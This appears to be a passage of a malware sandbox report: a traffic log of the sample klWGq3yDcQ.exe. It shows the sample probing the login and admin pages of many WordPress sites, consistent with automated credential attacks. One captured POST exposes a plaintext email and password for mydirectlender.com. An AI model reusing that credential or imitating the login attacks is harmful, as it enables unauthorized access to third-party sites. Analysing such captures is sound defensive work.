2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: -block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 73 2d Data Ascii: eme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-part.has-
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d Data Ascii: (135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 36 30 3a 20 Data Ascii: e--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60:
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f Data Ascii: ut-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !impo
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f Data Ascii: mportant;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !impo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	65335	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	248	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:43 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	65200	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	171	OUT	GET /admin HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"X-Redirect-By: WordP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	65441	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mydirectlender.com/wp-login.php Content-Length: 160 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:42 UTC	160	OUT	Data Raw: 6c 6f 67 3d 6a 65 73 74 65 70 25 34 30 64 69 72 65 63 74 6c 65 6e 64 65 72 73 6c 6c 63 2e 63 6f 6d 26 70 77 64 3d 46 6f 72 77 61 72 64 32 30 32 31 25 32 31 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jestep%40directlendersllc.com&pwd=Forward2021%21&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fmydirectlender.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:43 UTC	527	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 Data Ascii: HTTP/1.1 200 OKConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; securex-frame-options
2023-11-26 05:59:43 UTC	841	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Staging for MyDirectLender.com — WordPress</title><meta name='robots' content='noindex, nofollow' /><scrip
2023-11-26 05:59:43 UTC	6050	IN	Data Raw: 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 72 6d 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 31 30 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f Data Ascii: nk rel='stylesheet' id='forms-css' href='https://mydirectlender.com/wp-admin/css/forms.min.css?ver=6.4.1' type='text/css' media='all' /><link rel='stylesheet' id='l10n-css' href='https://mydirectlender.com/wp-admin/css/l10n.min.css?ver=6.4.1' type='text/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	65206	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	179	OUT	GET /wp-login.php HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	308	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:43 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:43 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	65203	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	172	OUT	GET /admin.php HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:43 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:43 UTC	141	IN	Data Raw: 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: ript type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javasc
2023-11-26 05:59:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:43 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 Data Ascii: 1ff8ript' src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' src
2023-11-26 05:59:43 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:43 UTC	8184	IN	Data Raw: 69 74 65 6d 2d 32 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 